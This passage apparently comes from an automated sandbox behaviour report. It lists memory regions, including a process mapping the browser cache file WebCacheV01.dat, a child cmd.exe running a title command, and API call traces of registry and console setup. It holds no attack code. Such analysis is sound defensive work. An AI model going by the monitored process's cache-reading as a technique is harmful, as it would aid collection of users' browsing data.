"c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1152 start_va = 0x610e4e0000 end_va = 0x610e4effff entry_point = 0x610e4e0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1153 start_va = 0x610e4f0000 end_va = 0x610e4fffff entry_point = 0x610e4f0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1154 start_va = 0x610e500000 end_va = 0x610e50ffff entry_point = 0x610e500000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1155 start_va = 0x610e510000 end_va = 0x610e51ffff entry_point = 0x610e510000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1156 start_va = 0x610e520000 end_va = 0x610e52ffff entry_point = 0x610e520000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1157 start_va = 0x610e530000 end_va = 0x610e53ffff entry_point = 0x610e530000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1158 start_va = 0x610e540000 end_va = 0x610e54ffff entry_point = 0x610e540000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1159 start_va = 0x610e550000 end_va = 0x610e55ffff entry_point = 0x610e550000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1160 start_va = 0x610e560000 end_va = 0x610e56ffff entry_point = 0x610e560000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1161 start_va = 0x610e570000 end_va = 0x610e57ffff entry_point = 0x610e570000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1162 start_va = 0x610e580000 end_va = 0x610e58ffff entry_point = 0x610e580000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1163 start_va = 0x610e590000 end_va = 0x610e59ffff entry_point = 0x610e590000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1164 start_va = 0x610e5a0000 end_va = 0x610e5a7fff entry_point = 0x0 region_type = private name = "private_0x000000610e5a0000" filename = "" Region: id = 1165 start_va = 0x610e5b0000 end_va = 0x610e5bffff entry_point = 0x610e5b0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1166 start_va = 0x610e5c0000 end_va = 0x610e5cffff entry_point = 0x610e5c0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1167 start_va = 0x610e5d0000 end_va = 0x610e5d7fff entry_point = 0x0 region_type = private name = "private_0x000000610e5d0000" filename = "" Region: id = 1168 start_va = 0x610e5e0000 end_va = 0x610e5e7fff entry_point = 0x0 region_type = private name = "private_0x000000610e5e0000" filename = "" Region: id = 1169 start_va = 0x610e5f0000 end_va = 0x610e5f7fff entry_point = 0x0 region_type = private name = "private_0x000000610e5f0000" filename = "" Region: id = 1170 start_va = 0x610e600000 end_va = 0x610e607fff entry_point = 0x0 region_type = private name = "private_0x000000610e600000" filename = "" Region: id = 1171 start_va = 0x610e610000 end_va = 0x610e617fff entry_point = 0x0 region_type = private name = "private_0x000000610e610000" filename = "" Region: id = 1172 start_va = 0x610e620000 end_va = 0x610e627fff entry_point = 0x0 region_type = private name = "private_0x000000610e620000" filename = "" Region: id = 1173 start_va = 0x610e630000 end_va = 0x610e637fff entry_point = 0x0 region_type = private name = "private_0x000000610e630000" filename = "" Region: id = 1174 start_va = 0x610e640000 end_va = 0x610e647fff entry_point = 0x0 region_type = private name = "private_0x000000610e640000" filename = "" Region: id = 1175 start_va = 0x610e650000 end_va = 0x610e657fff entry_point = 0x0 region_type = private name = "private_0x000000610e650000" filename = "" Region: id = 1176 start_va = 0x610e660000 end_va = 0x610e667fff entry_point = 0x0 region_type = private name = "private_0x000000610e660000" filename = "" Region: id = 1177 start_va = 0x610e670000 end_va = 0x610e76ffff entry_point = 0x0 region_type = private name = "private_0x000000610e670000" filename = "" Region: id = 1178 start_va = 0x7ff7335dc000 end_va = 0x7ff7335ddfff entry_point = 0x0 region_type = private name = "private_0x00007ff7335dc000" filename = "" Region: id = 1179 start_va = 0x7ff7335de000 end_va = 0x7ff7335dffff entry_point = 0x0 region_type = private name = "private_0x00007ff7335de000" filename = "" Region: id = 1180 start_va = 0x7ff7335e0000 end_va = 0x7ff7336dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7335e0000" filename = "" Region: id = 1181 start_va = 0x7ff7336e0000 end_va = 0x7ff733702fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7336e0000" filename = "" Region: id = 1182 start_va = 0x7ff733703000 end_va = 0x7ff733704fff entry_point = 0x0 region_type = private name = "private_0x00007ff733703000" filename = "" Region: id = 1183 start_va = 0x7ff733705000 end_va = 0x7ff733706fff entry_point = 0x0 region_type = private name = "private_0x00007ff733705000" filename = "" Region: id = 1184 start_va = 0x7ff733707000 end_va = 0x7ff733708fff entry_point = 0x0 region_type = private name = "private_0x00007ff733707000" filename = "" Region: id = 1185 start_va = 0x7ff733709000 end_va = 0x7ff733709fff entry_point = 0x0 region_type = private name = "private_0x00007ff733709000" filename = "" Region: id = 1186 start_va = 0x7ff73370a000 end_va = 0x7ff73370bfff entry_point = 0x0 region_type = private name = "private_0x00007ff73370a000" filename = "" Region: id = 1187 start_va = 0x7ff73370c000 end_va = 0x7ff73370dfff entry_point = 0x0 region_type = private name = "private_0x00007ff73370c000" filename = "" Region: id = 1188 start_va = 0x7ff73370e000 end_va = 0x7ff73370ffff entry_point = 0x0 region_type = private name = "private_0x00007ff73370e000" filename = "" Region: id = 1189 start_va = 0x7ff734170000 end_va = 0x7ff734176fff entry_point = 0x7ff734170000 region_type = mapped_file name = "dllhost.exe" filename = "\\Windows\\System32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe") Region: id = 1190 start_va = 0x7ffe22690000 end_va = 0x7ffe22940fff entry_point = 0x7ffe22705bec region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 1191 start_va = 0x7ffe24bb0000 end_va = 0x7ffe24e57fff entry_point = 0x7ffe24bbddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1192 start_va = 0x7ffe24e60000 end_va = 0x7ffe2509ffff entry_point = 0x7ffe24e613f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 1193 start_va = 0x7ffe275d0000 end_va = 0x7ffe27617fff entry_point = 0x7ffe275d0000 region_type = mapped_file name = "sqmapi.dll" filename = "\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll") Region: id = 1194 start_va = 0x7ffe28760000 end_va = 0x7ffe28800fff entry_point = 0x7ffe287610a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1195 start_va = 0x7ffe28ba0000 end_va = 0x7ffe28cc1fff entry_point = 0x7ffe28bab444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1196 start_va = 0x7ffe28d70000 end_va = 0x7ffe28d79fff entry_point = 0x7ffe28d71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1197 start_va = 0x7ffe29350000 end_va = 0x7ffe29384fff entry_point = 0x7ffe293513d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1198 start_va = 0x7ffe29760000 end_va = 0x7ffe2977dfff entry_point = 0x7ffe297611c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1199 start_va = 0x7ffe29990000 end_va = 0x7ffe299b5fff entry_point = 0x7ffe29995b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1200 start_va = 0x7ffe29cb0000 end_va = 0x7ffe29d0dfff entry_point = 0x7ffe29ccf6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1201 start_va = 0x7ffe29e30000 end_va = 0x7ffe29e74fff entry_point = 0x7ffe29e31290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1202 start_va = 0x7ffe29e80000 end_va = 0x7ffe29e89fff entry_point = 0x7ffe29e81010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1203 start_va = 0x7ffe29ea0000 end_va = 0x7ffe29eb3fff entry_point = 0x7ffe29ea3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1204 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1205 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1206 start_va = 0x7ffe2a530000 end_va = 0x7ffe2a586fff entry_point = 0x7ffe2a532500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1207 start_va = 0x7ffe2a590000 end_va = 0x7ffe2a634fff entry_point = 0x7ffe2a591010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1208 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1209 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1210 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1211 start_va = 0x7ffe2aab0000 end_va = 0x7ffe2bebefff entry_point = 0x7ffe2aab1100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1212 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1213 start_va = 0x7ffe2c120000 end_va = 0x7ffe2c1c3fff entry_point = 0x7ffe2c121170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1214 start_va = 0x7ffe2c1d0000 end_va = 0x7ffe2c203fff entry_point = 0x7ffe2c1d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1215 start_va = 0x7ffe2c390000 end_va = 0x7ffe2c4c7fff entry_point = 0x7ffe2c391010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1216 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1217 start_va = 0x7ffe2cac0000 end_va = 0x7ffe2cb10fff entry_point = 0x7ffe2cac12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1218 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Thread: id = 101 os_tid = 0xb18 Thread: id = 102 os_tid = 0x2a8 Thread: id = 103 os_tid = 0x610 Thread: id = 104 os_tid = 0x608 Thread: id = 105 os_tid = 0x604 Thread: id = 106 os_tid = 0x600 Thread: id = 107 os_tid = 0x5fc Thread: id = 108 os_tid = 0x5b0 Process: id = "13" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x7fd4000" os_pid = "0x78c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x9a8" cmd_line = "C:\\Windows\\system32\\cmd.exe /S /D /c\" title 9538298\"" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1247 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1248 start_va = 0xae42f10000 end_va = 0xae42f2ffff entry_point = 0x0 region_type = private name = "private_0x000000ae42f10000" filename = "" Region: id = 1249 start_va = 0xae42f30000 end_va = 0xae42f3efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ae42f30000" filename = "" Region: id = 1250 start_va = 0xae42f40000 end_va = 0xae4303ffff entry_point = 0x0 region_type = private name = "private_0x000000ae42f40000" filename = "" Region: id = 1251 start_va = 0xae43040000 end_va = 0xae43043fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ae43040000" filename = "" Region: id = 1252 start_va = 0xae43050000 end_va = 0xae43050fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ae43050000" filename = "" Region: id = 1253 start_va = 0xae43060000 end_va = 0xae43061fff entry_point = 0x0 region_type = private name = "private_0x000000ae43060000" filename = "" Region: id = 1254 start_va = 0x7ff622e30000 end_va = 0x7ff622e52fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff622e30000" filename = "" Region: id = 1255 start_va = 0x7ff622e5d000 end_va = 0x7ff622e5efff entry_point = 0x0 region_type = private name = "private_0x00007ff622e5d000" filename = "" Region: id = 1256 start_va = 0x7ff622e5f000 end_va = 0x7ff622e5ffff entry_point = 0x0 region_type = private name = "private_0x00007ff622e5f000" filename = "" Region: id = 1257 start_va = 0x7ff623140000 end_va = 0x7ff62319afff entry_point = 0x7ff6231465b4 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 1258 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1310 start_va = 0xae43260000 end_va = 0xae4335ffff entry_point = 0x0 region_type = private name = "private_0x000000ae43260000" filename = "" Region: id = 1311 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1312 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1337 start_va = 0xae42f10000 end_va = 0xae42f1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ae42f10000" filename = "" Region: id = 1338 start_va = 0xae42f20000 end_va = 0xae42f26fff entry_point = 0x0 region_type = private name = "private_0x000000ae42f20000" filename = "" Region: id = 1339 start_va = 0xae43070000 end_va = 0xae430edfff entry_point = 0xae43070000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1340 start_va = 0xae43550000 end_va = 0xae4355ffff entry_point = 0x0 region_type = private name = "private_0x000000ae43550000" filename = "" Region: id = 1341 start_va = 0x7ff622d30000 end_va = 0x7ff622e2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff622d30000" filename = "" Region: id = 1342 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Thread: id = 111 os_tid = 0x3e0 [0030.889] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff623140000 [0030.889] __set_app_type (_Type=0x1) [0030.889] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff62315ace0) returned 0x0 [0030.889] __getmainargs (in: _Argc=0x7ff62317e724, _Argv=0x7ff62317e728, _Env=0x7ff62317e730, _DoWildCard=0, _StartInfo=0x7ff62316d0c4 | out: _Argc=0x7ff62317e724, _Argv=0x7ff62317e728, _Env=0x7ff62317e730) returned 0 [0030.889] GetCurrentThreadId () returned 0x3e0 [0030.889] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x3e0) returned 0x24 [0030.889] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe2a640000 [0030.889] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadUILanguage") returned 0x7ffe2a6431d8 [0030.889] SetThreadUILanguage (LangId=0x0) returned 0x409 [0030.912] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0030.912] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xae4303f788 | out: phkResult=0xae4303f788*=0x0) returned 0x2 [0030.912] VirtualQuery (in: lpAddress=0xae4303f774, lpBuffer=0xae4303f6f0, dwLength=0x30 | out: lpBuffer=0xae4303f6f0*(BaseAddress=0xae4303f000, AllocationBase=0xae42f40000, AllocationProtect=0x4, __alignment1=0xae, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.913] VirtualQuery (in: lpAddress=0xae42f40000, lpBuffer=0xae4303f6f0, dwLength=0x30 | out: lpBuffer=0xae4303f6f0*(BaseAddress=0xae42f40000, AllocationBase=0xae42f40000, AllocationProtect=0x4, __alignment1=0xae, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.913] VirtualQuery (in: lpAddress=0xae42f41000, lpBuffer=0xae4303f6f0, dwLength=0x30 | out: lpBuffer=0xae4303f6f0*(BaseAddress=0xae42f41000, AllocationBase=0xae42f40000, AllocationProtect=0x4, __alignment1=0xae, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.913] VirtualQuery (in: lpAddress=0xae42f44000, lpBuffer=0xae4303f6f0, dwLength=0x30 | out: lpBuffer=0xae4303f6f0*(BaseAddress=0xae42f44000, AllocationBase=0xae42f40000, AllocationProtect=0x4, __alignment1=0xae, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.913] VirtualQuery (in: lpAddress=0xae43040000, lpBuffer=0xae4303f6f0, dwLength=0x30 | out: lpBuffer=0xae4303f6f0*(BaseAddress=0xae43040000, AllocationBase=0xae43040000, AllocationProtect=0x2, __alignment1=0xae, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0030.913] GetConsoleOutputCP () returned 0x1b5 [0030.934] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0030.935] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6231662a4, Add=1) returned 1 [0030.935] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.935] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x0) returned 0 [0030.935] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.935] GetConsoleMode (in: hConsoleHandle=0x1c, lpMode=0x7ff62316d150 | out: lpMode=0x7ff62316d150) returned 0 [0030.935] _get_osfhandle (_FileHandle=0) returned 0x18 [0030.935] GetConsoleMode (in: hConsoleHandle=0x18, lpMode=0x7ff62316d14c | out: lpMode=0x7ff62316d14c) returned 1 [0030.943] GetEnvironmentStringsW () returned 0xae432648f0* [0030.943] FreeEnvironmentStringsA (penv="=") returned 1 [0030.944] GetEnvironmentStringsW () returned 0xae432648f0* [0030.944] FreeEnvironmentStringsA (penv="=") returned 1 [0030.944] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xae4303e638 | out: phkResult=0xae4303e638*=0x30) returned 0x0 [0030.944] RegQueryValueExW (in: hKey=0x30, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xae4303e630, lpData=0xae4303e650, lpcbData=0xae4303e634*=0x1000 | out: lpType=0xae4303e630*=0x0, lpData=0xae4303e650*=0x0, lpcbData=0xae4303e634*=0x1000) returned 0x2 [0030.944] RegQueryValueExW (in: hKey=0x30, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xae4303e630, lpData=0xae4303e650, lpcbData=0xae4303e634*=0x1000 | out: lpType=0xae4303e630*=0x4, lpData=0xae4303e650*=0x1, lpcbData=0xae4303e634*=0x4) returned 0x0 [0030.944] RegQueryValueExW (in: hKey=0x30, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xae4303e630, lpData=0xae4303e650, lpcbData=0xae4303e634*=0x1000 | out: lpType=0xae4303e630*=0x0, lpData=0xae4303e650*=0x1, lpcbData=0xae4303e634*=0x1000) returned 0x2 [0030.944] RegQueryValueExW (in: hKey=0x30, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xae4303e630, lpData=0xae4303e650, lpcbData=0xae4303e634*=0x1000 | out: lpType=0xae4303e630*=0x4, lpData=0xae4303e650*=0x0, lpcbData=0xae4303e634*=0x4) returned 0x0 [0030.944] RegQueryValueExW (in: hKey=0x30, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xae4303e630, lpData=0xae4303e650, lpcbData=0xae4303e634*=0x1000 | out: lpType=0xae4303e630*=0x4, lpData=0xae4303e650*=0x40, lpcbData=0xae4303e634*=0x4) returned 0x0 [0030.944] RegQueryValueExW (in: hKey=0x30, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xae4303e630, lpData=0xae4303e650, lpcbData=0xae4303e634*=0x1000 | out: lpType=0xae4303e630*=0x4, lpData=0xae4303e650*=0x40, lpcbData=0xae4303e634*=0x4) returned 0x0 [0030.944] RegQueryValueExW (in: hKey=0x30, lpValueName="AutoRun", lpReserved=0x0, lpType=0xae4303e630, lpData=0xae4303e650, lpcbData=0xae4303e634*=0x1000 | out: lpType=0xae4303e630*=0x0, lpData=0xae4303e650*=0x40, lpcbData=0xae4303e634*=0x1000) returned 0x2 [0030.944] RegCloseKey (hKey=0x30) returned 0x0 [0030.944] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xae4303e638 | out: phkResult=0xae4303e638*=0x30) returned 0x0 [0030.944] RegQueryValueExW (in: hKey=0x30, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xae4303e630, lpData=0xae4303e650, lpcbData=0xae4303e634*=0x1000 | out: lpType=0xae4303e630*=0x0, lpData=0xae4303e650*=0x40, lpcbData=0xae4303e634*=0x1000) returned 0x2 [0030.944] RegQueryValueExW (in: hKey=0x30, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xae4303e630, lpData=0xae4303e650, lpcbData=0xae4303e634*=0x1000 | out: lpType=0xae4303e630*=0x4, lpData=0xae4303e650*=0x1, lpcbData=0xae4303e634*=0x4) returned 0x0 [0030.944] RegQueryValueExW (in: hKey=0x30, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xae4303e630, lpData=0xae4303e650, lpcbData=0xae4303e634*=0x1000 | out: lpType=0xae4303e630*=0x0, lpData=0xae4303e650*=0x1, lpcbData=0xae4303e634*=0x1000) returned 0x2 [0030.944] RegQueryValueExW (in: hKey=0x30, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xae4303e630, lpData=0xae4303e650, lpcbData=0xae4303e634*=0x1000 | out: lpType=0xae4303e630*=0x4, lpData=0xae4303e650*=0x0, lpcbData=0xae4303e634*=0x4) returned 0x0 [0030.944] RegQueryValueExW (in: hKey=0x30, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xae4303e630, lpData=0xae4303e650, lpcbData=0xae4303e634*=0x1000 | out: 